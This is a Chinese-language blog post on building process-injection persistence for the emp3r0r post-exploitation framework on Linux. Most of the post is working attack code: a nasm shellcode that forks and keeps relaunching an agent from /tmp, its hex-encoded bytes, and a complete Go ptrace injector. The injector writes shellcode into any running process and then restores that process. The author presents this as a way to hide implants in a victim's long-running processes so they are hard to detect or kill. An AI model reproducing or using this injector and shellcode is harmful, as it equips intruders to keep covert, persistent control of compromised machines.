emp3r0r - Linux下的进程注入和持久化

 

背景

本文所介绍的内容是emp3r0r框架持久化模块的一部分。

Linux有一个独特的东西叫procfs,把“Everything is a file”贯彻到了极致。从/proc/pid/maps我们能查看进程的内存地址分布,然后在/proc/pid/mem我们可以读取或者修改它的内存。

所以理论上我们只需要一个ddprocfs即可将代码注入一个进程,也确实有人写了相关的工具

但既然Linux提供了一个接口(只有这么一个,不像你们Windows),我们在通常情况下直接调用它就可以了。

 

ptrace

对,这唯一的接口就是ptrace

这东西是用来操作进程的,大多用于调试器,它提供的功能足够我们完成本文所需的shellcode注入以及进程恢复了。

我们的思路是:

  1. attach到目标进程,将其接管
  2. 把shellcode写到RIP指向的位置,在此之前先备份原有的代码
  3. 恢复进程运行
  4. shellcode执行到中断,trap#SIGTRAP)并被我们接管
  5. 我们把原先的代码写回去,寄存器也都恢复
  6. 继续原进程的执行

 

进程的恢复

看了上面的思路,这个似乎并不难。但别忘了,你的shellcode搞乱的不只是这段text和寄存器,它至少还搞乱了原进程的的stack,而且shellcode可能会一直堵塞主线程,这样就永远也不会回到原进程的执行流程了。

而且有的shellcode会直接execve从而干脆利落地让原进程成为虚无,你除了再execve回去基本上别无它法了。

所以,我直接从原进程fork出一个子进程,在子进程里执行我的shellcode,顺手恢复原进程,对进程的影响几乎可以忽略不计。

 

菜鸡的第一份shellcode

本菜鸡从未写过shellcode,是msfvenom的忠实用户。

我寻思着第一份shellcode就不写烂大街的hello world了,直接写个能用的岂不美哉。

于是在duckduckgo和某开源社区大佬们的指导下,我逐渐明白了该怎么写,武器化之后,就有了这篇文章。

怎么写

啥语言

正常情况下都是用汇编来写,不过C也可以。某大佬推荐的是这样:

c to shellcode

这样写显而易见的好处是,我们不用费心去操作栈了,数据可以由C来安排好。

本文使用纯汇编来做,这种方法以后有机会再尝试了。

编辑器

我当然直接用vim了,你们随便找个熟悉的文本编辑器都可以。

这里用的是nasm汇编器,使用Intel语法。

nasm

写shellcode的话,不用section .data是最好的,省得多出来一堆\0字节。

大体上一个针对x86_64的nasm汇编代码长这样:

BITS 64
global _start

section .text
_start:
    ...your code...

global _start类似于main,是给linker用的。BITS 64代表这是64位汇编。

hex string

上面写的东西要转成raw bytes才能用。首先你需要将它们汇编:

❯ nasm yourshellcode.asm -o shellcode.bin

然后把这个二进制文件转换成hex string:

❯ xxd -i shellcode.bin | grep 0x | tr -d '[:space:]' | tr -d ',' | sed 's/0x/\\x/g'
\x48\x31\xc0\x48\x31\xff\xb0\x39\x0f\x05\x48\x83\xf8\x00\x7f\x5e\x48\x31\xc0\x48\x31\xff\xb0\x39\x0f\x05\x48\x83\xf8\x00\x74\x2c\x48\x31\xff\x48\x89\xc7\x48\x31\xf6\x48\x31\xd2\x4d\x31\xd2\x48\x31\xc0\xb0\x3d\x0f\x05\x48\x31\xc0\xb0\x23\x6a\x0a\x6a\x14\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05\xe2\xc4\x48\x31\xd2\x52\x48\x31\xc0\x48\xbf\x2f\x2f\x74\x6d\x70\x2f\x2f\x65\x57\x54\x5f\x48\x89\xe7\x52\x57\x48\x89\xe6\x6a\x3b\x58\x99\x0f\x05\xcd\x03

如果你不需要这种C style的hex string,也可以这样:

❯ rax2 -S < shellcode.bin
4831c04831ffb0390f054883f8007f5e4831c04831ffb0390f054883f800742c4831ff4889c74831f64831d24d31d24831c0b03d0f054831c0b0236a0a6a144889e74831f64831d20f05e2c44831d2524831c048bf2f2f746d702f2f6557545f4889e752574889e66a3b58990f05cd03

其中rax2radare2的一部分。

syscall

syscall NR

什么是syscall

为啥叫NR我查到的Numeric Reference,听起来有点道理。

简单来说就是代表某个Linux API的数字了,你调用这个syscall的时候需要告诉Linux对应的编号。

这里有一个全面的Linux syscall列表供查阅。

需要注意的是不同架构下,syscall是不同的。我们这里只关心x86_64下的syscall,毕竟主流Linux主机几乎全都是这个架构(说到这里我要吐槽一下,为什么至今Linux shellcode相关教程还在拿x86汇编教学?)。

调用约定

调用一个syscall的过程跟你调用别的什么函数没区别,你设置好参数,call一下就完事了,它还会把返回值给你。

那么用户怎么知道往哪放参数,从哪取返回值呢?离开了编译器的帮助,你得搞清楚它究竟是怎么工作的。

上图很清楚地展示了你该怎么使用这些syscall。

对于x86_64架构的Linux而言,syscall NR也就是编号,需要放到RAX寄存器,调用完返回值也在这里面,然后参数依次放到RDI,RSI,RDX,R10…

需要留意,有的参数是指针类型的,你传入的必须是一个地址而不是数值本身。

写一个guardian

本示例是emp3r0r的一部分,之后更新的版本可以在这里找到。

看完了上面的介绍,是不是觉得很简单呢?让我们来写个guardian程序试试吧。

这段shellcode就是前面所提到思路的具体实现。

我在写这段东西的时候,遇到了不少小问题,对于初学者来说可能是会头疼好久的问题,简单列一下:

  • 需要指针参数的,先push入栈,再传RSP
  • push的操作数超过4字节长,需要借助寄存器来push
  • 记得给字符串或者字符串数组加\0终止
  • label不能用保留字

以上问题均针对nasm汇编器,如果你没遇到,就不要告诉我了。

还有些东西说一下:

  • 为什么还要wait子进程,因为不这样的话子进程退出之后就变成zombie,在进程列表里太显眼了。
  • 为什么fork两次,因为我要execve,在当前进程干的话,当前进程就无了。
  • 为什么sleep,因为太频繁了会把CPU搞飞起。
  • 为什么int 0x3,因为这样是告诉父进程请调试我,是shellcode暂停,从而恢复原进程的关键
    BITS 64

    section .text
    global  _start

_start:
    ;;  fork
    xor rax, rax
    xor rdi, rdi
    mov al, 0x39; syscall fork
    syscall

    cmp rax, 0x0; check return value
    jg  pause; int3 if in parent

watchdog:
    ;;  fork to exec agent
    xor rax, rax
    xor rdi, rdi
    mov al, 0x39; syscall fork
    syscall
    cmp rax, 0x0; check return value
    je  exec; exec if in child

wait4zombie:
    ;;  wait to clean up zombies
    xor rdi, rdi
    mov rdi, rax
    xor rsi, rsi
    xor rdx, rdx
    xor r10, r10
    xor rax, rax
    mov al, 0x3d
    syscall

sleep:
    ;;   sleep
    xor  rax, rax
    mov  al, 0x23; syscall nanosleep
    push 10; sleep nano sec
    push 20; sec
    mov  rdi, rsp
    xor  rsi, rsi
    xor  rdx, rdx
    syscall
    loop watchdog

exec:
    ;;   char **envp
    xor  rdx, rdx
    push rdx; '\0'

    ;;   char *filename
    xor  rax, rax
    mov  rdi, 0x652f2f706d742f2f; path to the executable
    push rdi; save to stack
    push rsp
    pop  rdi
    mov  rdi, rsp; you can delete this as it does nothing

    ;;   char **argv
    push rdx; '\0'
    push rdi
    mov  rsi, rsp; argv[0]

    push 0x3b; syscall execve
    pop  rax; ready to call
    cdq
    syscall

pause:
    ;;  trap
    int 0x3

 

把shellcode武器化

shellcode注入

就像开头所提到的,本文涉及的技术是emp3r0r后渗透框架的一部分。

emp3r0r会将本文的shellcode自动注入一些常见的进程:

inject

在不影响原进程的情况下,我们同时在目标主机的业务进程里启动了一大堆守护进程,除非受害者拿gdb去看,一般来说是很难察觉异常的。

如果你有兴致,也完全可以写一个别的shellcode,实现更多好玩的功能。

所以我们怎么注入?按照前面ptrace的方法,具体实现如下(之后的更新在这里查看):

// Injector inject shellcode to arbitrary running process
// target process will be restored after shellcode has done its job
func Injector(shellcode *string, pid int) error {
    // format
    *shellcode = strings.Replace(*shellcode, ",", "", -1)
    *shellcode = strings.Replace(*shellcode, "0x", "", -1)
    *shellcode = strings.Replace(*shellcode, "\\x", "", -1)

    // decode hex shellcode string
    sc, err := hex.DecodeString(*shellcode)
    if err != nil {
        return fmt.Errorf("Decode shellcode: %v", err)
    }

    // inject to an existing process or start a new one
    // check /proc/sys/kernel/yama/ptrace_scope if you cant inject to existing processes
    if pid == 0 {
        // start a child process to inject shellcode into
        sec := strconv.Itoa(RandInt(10, 30))
        child := exec.Command("sleep", sec)
        child.SysProcAttr = &syscall.SysProcAttr{Ptrace: true}
        err = child.Start()
        if err != nil {
            return fmt.Errorf("Start `sleep %s`: %v", sec, err)
        }
        pid = child.Process.Pid

        // attach
        err = child.Wait() // TRAP the child
        if err != nil {
            log.Printf("child process wait: %v", err)
        }
        log.Printf("Injector (%d): attached to child process (%d)", os.Getpid(), pid)
    } else {
        // attach to an existing process
        proc, err := os.FindProcess(pid)
        if err != nil {
            return fmt.Errorf("%d does not exist: %v", pid, err)
        }
        pid = proc.Pid

        // https://github.com/golang/go/issues/43685
        runtime.LockOSThread()
        defer runtime.UnlockOSThread()
        err = syscall.PtraceAttach(pid)
        if err != nil {
            return fmt.Errorf("ptrace attach: %v", err)
        }
        _, err = proc.Wait()
        if err != nil {
            return fmt.Errorf("Wait %d: %v", pid, err)
        }
        log.Printf("Injector (%d): attached to %d", os.Getpid(), pid)
    }

    // read RIP
    origRegs := &syscall.PtraceRegs{}
    err = syscall.PtraceGetRegs(pid, origRegs)
    if err != nil {
        return fmt.Errorf("my pid is %d, reading regs from %d: %v", os.Getpid(), pid, err)
    }
    origRip := origRegs.Rip
    log.Printf("Injector: got RIP (0x%x) of %d", origRip, pid)

    // save current code for restoring later
    origCode := make([]byte, len(sc))
    n, err := syscall.PtracePeekText(pid, uintptr(origRip), origCode)
    if err != nil {
        return fmt.Errorf("PEEK: 0x%x", origRip)
    }
    log.Printf("Peeked %d bytes of original code: %x at RIP (0x%x)", n, origCode, origRip)

    // write shellcode to .text section, where RIP is pointing at
    data := sc
    n, err = syscall.PtracePokeText(pid, uintptr(origRip), data)
    if err != nil {
        return fmt.Errorf("POKE_TEXT at 0x%x %d: %v", uintptr(origRip), pid, err)
    }
    log.Printf("Injected %d bytes at RIP (0x%x)", n, origRip)

    // peek: see if shellcode has got injected
    peekWord := make([]byte, len(data))
    n, err = syscall.PtracePeekText(pid, uintptr(origRip), peekWord)
    if err != nil {
        return fmt.Errorf("PEEK: 0x%x", origRip)
    }
    log.Printf("Peeked %d bytes of shellcode: %x at RIP (0x%x)", n, peekWord, origRip)

    // continue and wait
    err = syscall.PtraceCont(pid, 0)
    if err != nil {
        return fmt.Errorf("Continue: %v", err)
    }
    var ws syscall.WaitStatus
    _, err = syscall.Wait4(pid, &ws, 0, nil)
    if err != nil {
        return fmt.Errorf("continue: wait4: %v", err)
    }

    // what happened to our child?
    switch {
    case ws.Continued():
        return nil
    case ws.CoreDump():
        err = syscall.PtraceGetRegs(pid, origRegs)
        if err != nil {
            return fmt.Errorf("read regs from %d: %v", pid, err)
        }
        return fmt.Errorf("continue: core dumped: RIP at 0x%x", origRegs.Rip)
    case ws.Exited():
        return nil
    case ws.Signaled():
        err = syscall.PtraceGetRegs(pid, origRegs)
        if err != nil {
            return fmt.Errorf("read regs from %d: %v", pid, err)
        }
        return fmt.Errorf("continue: signaled (%s): RIP at 0x%x", ws.Signal(), origRegs.Rip)
    case ws.Stopped():
        stoppedRegs := &syscall.PtraceRegs{}
        err = syscall.PtraceGetRegs(pid, stoppedRegs)
        if err != nil {
            return fmt.Errorf("read regs from %d: %v", pid, err)
        }
        log.Printf("Continue: stopped (%s): RIP at 0x%x", ws.StopSignal().String(), stoppedRegs.Rip)

        // restore registers
        err = syscall.PtraceSetRegs(pid, origRegs)
        if err != nil {
            return fmt.Errorf("Restoring process: set regs: %v", err)
        }

        // breakpoint hit, restore the process
        n, err = syscall.PtracePokeText(pid, uintptr(origRip), origCode)
        if err != nil {
            return fmt.Errorf("POKE_TEXT at 0x%x %d: %v", uintptr(origRip), pid, err)
        }
        log.Printf("Restored %d bytes at origRip (0x%x)", n, origRip)

        // let it run
        err = syscall.PtraceDetach(pid)
        if err != nil {
            return fmt.Errorf("Continue detach: %v", err)
        }
        log.Printf("%d will continue to run", pid)

        return nil
    default:
        err = syscall.PtraceGetRegs(pid, origRegs)
        if err != nil {
            return fmt.Errorf("read regs from %d: %v", pid, err)
        }
        log.Printf("continue: RIP at 0x%x", origRegs.Rip)
    }

    return nil
}

这可能是为数不多的纯go实现的ptrace进程注入工具之一。

主要坑点有:

  • Go的syscall wrapper基本上是从来没有文档的
  • ptrace的tracer必须来自同一线程,这是Linux(或者说整个unix)设计的问题
  • 因为Go底层设计的原因,每次调用syscall wrapper,都是一个新线程,所以我研究了半天,靠runtime.LockOSThread()解决了这个问题

然后具体原理就很简单了,鉴于Go的syscall wrapper实际上把PTRACE_PEEKTEXTPTRACE_POKETEXT限制的每次只能操作一个word给包装成可操作任意长度数据,这个实现甚至比C原生实现还要简单。

关键点在于备份和恢复。记得我的shellcode写了int 0x3吧?这里就是waitint 0x3导致的trap的状态,进行介入,并恢复原进程。

在持久化方面的应用

我目前把这个技术用在持久化方面。虽说不是真正意义上的持久化,但很多机器是万年不重启的,注入到一个几乎不会重启的进程里面,既不会被轻易发现,又很难被干掉。

以下是注入到一个简单demo程序的示例:

/*
 * This program is used to check shellcode injection
 * */

#include <stdio.h>
#include <time.h>
#include <unistd.h>

int main(int argc, char* argv[])
{
    time_t rawtime;
    struct tm* timeinfo;

    while (1) {
        sleep(1);
        time(&rawtime);
        timeinfo = localtime(&rawtime);
        printf("%s: sleeping\n", asctime(timeinfo));
    }
    return 0;
}

shellcode成功注入,原进程继续运行,只是多了个守护emp3r0r的任务。

demo

(完)